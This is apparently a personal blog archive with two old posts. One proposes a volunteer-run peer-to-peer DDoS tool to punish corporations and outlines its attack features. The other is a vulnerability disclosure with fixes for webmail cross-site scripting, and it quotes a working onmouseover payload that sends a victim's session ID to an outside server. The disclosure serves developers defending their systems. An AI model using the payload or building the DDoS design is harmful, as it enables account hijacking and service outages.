December 18, 2001June 10, 2012 by Brendon J. Wilson

DDOS Attack Tool

After a frustrating and fruitless attempt to obtain customer support from Sony, I’ve come to the conclusion that the average consumer is powerless in modern society; contrary to what the marketing literature says, the customer is always last. To solve this problem, I propose a tool to allow the average consumer to strike back at the corporations who ignore them, and use their own tools of communication against them. And here’s how it might work:

In an event in June 1999, the Electronic Disturbance Theatre successfully held an electronic sit-in, protesting against the Mexican government. The EDT distributed a Java applet via their web site that automated the process of requesting documents from the Mexican government’s web site several times a minute. With an estimated ten thousand users requesting documents from the Mexican government’s web server using the Java applet, the server was soon overwhelmed. While successful, the attack methodology was fairly simple; a newer port scanning tool distributed by the group enables more advanced attacks. However, I have a different tactic in mind to enable more coordinated, and therefore effective acts of electronic civil disobedience.

Just over a year ago, several high-profile sites were reeling from a series of coordinated distributed denial of service attacks; those hit included EBay, and Yahoo. The perpetrator of the attack used a large network of compromised computers to launch the attack over the Internet; these computers had been compromised by a variety of Trojan programs and were required to achieve the density of requests required to overload the victims’ servers.

The tool I’m proposing would work on the same principle, with the exception that the computers involved in the attacks would be involved with the full knowledge of their owners, just like the EDT’s Java applet. Using a similar system to Gnutella, users would be able to enter the location of targets into the client software, and the tool would coordinate with other users’ client software to conduct the attack; in the ultimate form of democracy, the density and ultimate success of the attack would depend on the number of users who allowed their computer to participate.

The software would have a number of unique features, to enable users to fully realize the democratic power of the tool:

Configurable Attack Objects: Users should be able to extend the system to enable various modes of attack, from continuous hits, to pulses of activity designed to create the greatest impact on the target system.
Configurable Communication Objects: Because so much of a corporation’s ability to succeed depends on resources other than web sites, the client software should be configurable to include addition communications modules. These modules would enhance the range of protocols understood by the clients; potential additional protocols might include LDAP, DNS, HTTPS, and SMTP.
Automated Exchange of Configurable Components: If the attack involves a protocol or strategy that your client doesn’t possess, the client software should be capable of finding the necessary resource on the network and installing it.

Other features could include the ability to put the client software into “drone” mode, where it attacks the most popular targets; this would be useful for allowing a user’s machine to be useful when the machine isn’t being used. Finally, the software should allow clients to exchange attack targets, to enable the attack network to outwit attempts by the victim to filter by IP address.

September 11, 2000May 12, 2012 by Brendon J. Wilson

Web-Based Email Vulnerability

This document introduces a security attack on Web-based email clients using the browser’s JavaScript engine to compromise the user’s security and allow a third party to independently access the user’s account. The exploit takes advantage of those web-based email clients that use session id-based authentication and fail to properly remove or isolate JavaScript code that may appear in the headers or body of an email message. Solutions are presented to prevent script attacks by parsing out JavaScript code elements, or by selectively replacing characters to deactivate the script elements. This document also outlines the vulnerability of other similar services and platforms to script-based attacks via user generated content.

Origin of this Document

The vulnerability discussed in this document was discovered during the prototyping stage of the next generation HushMail product from Hush Communications. Research into possible security attacks on web-based email systems employing HTML rendering, revealed this vulnerability; in particular, our assessment of competing products, specifically Ziplip.com, revealed the existence of this significant threat to personal privacy.

Intended Audience

This document is intended for developers working on web-based system which may enable users to view content generated by arbitrary individuals, via such mechanisms as email or bulletin-board style posting services. Developers should use this document to evaluate their solutions in order to ascertain whether their proposed solution is at risk from this attack methodology.

Relation to Other Systems

Although this document specifically discussed web-based email systems, the attack technique described here is potentially applicable to any web-based service which allow users to view content created by other arbitrary users.

Detailed Description

Requirements

This attack is effective on web-based email clients that directly display the contents of email messages without altering the message text. The email client must also hold onto the user’s session ID information in either a client-side cookie, or in the URL of hyperlinks used to activate functionality. This session ID alone must be the only element that is used to prove the client’s state of authentication.

The Attack

Most web-based email clients require a login/authentication process; in most cases, HTTP authentication alone is not suitable for most applications, as the HTTP protocol does not support the ability to ‘log out’ or ‘de-authenticate’ the user. To provide ‘log out’ capabilities, web-based email clients usually implement their own authentication mechanism, embedding session information into the user’s web browser either directly (using cookies), or indirectly (by URL-encoding the session ID into links within the web page) as shown in Figure 1. This session ID is usually mirrored by a session store on the server side, which keeps track of the users currently authenticated with the system, and any other required session state information. Essentially, the existence of a session store object for a given session ID is verification that the user associated with that session is authenticated with the server.

If a third party gains access to the session ID before the user has logged out of the web site, that party can use the session ID to gain access to the user’s information and request services as the user. Possible scenarios allowing a third party to gain access to this session ID: the user temporarily leaves their computer alone, or forgets to log out while on using shared computer.

On web-based email clients, an additional scenario to gain session ID access is possible when the email client allows arbitrary JavaScript to be executed:

The user opens an email message containing a piece of JavaScript code, most likely included as an event handler on a hyperlink.
The user triggers the hyperlink, activating the piece of JavaScript.
The JavaScript code steals the session ID, and opens a new browser window to a web server script, to whom it sends the session ID; from the user’s point of view, this window seems to be a result of clicking the link.
The web server script receives the session ID, and replies with bogus content, or redirects the client’s web browser to a site corresponding to the original bogus hyperlink.

Now the third party’s web server has the session ID for the user, which it can use to harvest all information from the user’s account. However, the server can only harvest the user’s account while the session ID remains valid; therefore, it is in the interest of the attacker to provide some believable error or content in Step 4 above.

Implications

An attacker can gain access to the user’s email account by sending an email message containing JavaScript, most likely in the form of a hyperlink, which the user activates. This opens the possibility for a Melissa-like virus to affect users of the web-based email client; although no damage is possible to the user’s computer itself, the virus could delete the user’s email, and masquerade as the user in order to send itself to other users of the system. Personal data stored in the email account, such as the user’s real name, address, phone number, occupation, and other personal details could be easily compromised, providing the ammunition for direct marketing campaigns. The perpetrators of such a virus would be easily uncovered, but not before they inflicted immense damage.

Solutions

Web-based email clients need to ensure that the HTML <SCRIPT> element is eliminated from any text displayed directly in the web browser window; likely places to place this element include the mail headers (To, From, Subject) that are usually displayed directly, or the message body itself. In addition, the message’s content needs to be parsed to eliminate any event handlers that may be defined within HTML elements; for example, the onClick, onMouseOut, onMouseOver event handlers in the HREF element must be eliminated.

Rather than try to parse out all of these JavaScript event handlers, it is much easier to eliminate any JavaScript functionality; the key here is to make the web browser ignore the JavaScript elements. By replace all instances of the ‘< ' and '>‘ characters in any user-submitted content with the HTML constructs ‘<’ and ‘>’, respectively, the resulting text will not be interpreted by the web browser. An unfortunate side effect of this technique is that all HTML formatting of the original content is also lost; the resulting text will simply be a raw text representation of the original HTML, including all of the HTML tag text.

All sites using session ID based authentication mechanisms should also add an additional security measure to prevent against session hijacking; this will prevent against the possibility of session ID hijacking through means other than the JavaScript attack. A simple solution is to use both the session id and IP address of the client machine when the user logged in to validate the session. With this solution in place, the only mechanism to use the user’s session is to use the user’s machine itself if the user steps away temporarily.

Case Study: Ziplip.com

Ziplip.com prevents against <SCRIPT> tags in the body of the message, parsing them out at the server before displaying them within the web browser window. In addition, any HTML elements appearing in headers, such as the Subject, are forced to display inside the header’s link by changing the ‘< ' and '>‘ characters to the HTML escape sequences ‘<’ and ‘>’ respectively.

However, Ziplip fails to parse out event handler attributes in HTML tags, specifically in the hyperlink tag. Using the attack described above, an attacker can send the following message to a victim’s Ziplip.com email account:

Hey buddy,

You have to see this, it’s cool: <a onmouseover="window.open('http://someserver.com/cgi-bin/stealsession.cgi' + window.top.frames['content'].location.search.substring(0, 47))" href="www.wired.com" target="_blank">www.wired.com</a>

Brendon

When the victim’s mouse moves over the link, the onMouseOver event handler is triggered, the session ID is extracted from one of the links on the page, and a new browser window is opened. The new window sends the session ID to a script on the someserver.com server, which can harvest the user’s email and address book, or perform any other activity provided by the Ziplip.com system. The attacker’s script will return an HTTP redirect to www.wired.com, in order to avoid arousing the user’s suspicion.

Attacks on Similar Systems

By no means is this attack restricted to web-based email clients, or JavaScript for that matter; this attack could be launched on any number of mailing lists, auction sites, or online bookstores with user-submitted recommendations. The base requirements for a similar type of attack are:

The service that uses a session ID based authentication mechanism, and that session ID alone is the only credential used to verify the user’s authenticating state, once the user has logged into the service.
The service allows a potential attacker to submit arbitrary content that will be presented to the user, usually presented as part of the service’s content itself.
The presentation layer provides a script language capable of launching network connections to arbitrary servers either when the content is loaded, or on user input.

Besides the HTML/JavaScript platform, other potentially vulnerable services include those based on the WML/WMLScript platform.

Summary

The simplicity of this attack methodology highlights its hazardous nature; given the recent rash of macro-based email viruses, we can expect to see this attack used quite effectively to breach personal privacy. The only solution is to remove the active scripting elements through vigilant design of code responsible for presenting user-submitted content.

in Technology 0 comments

information security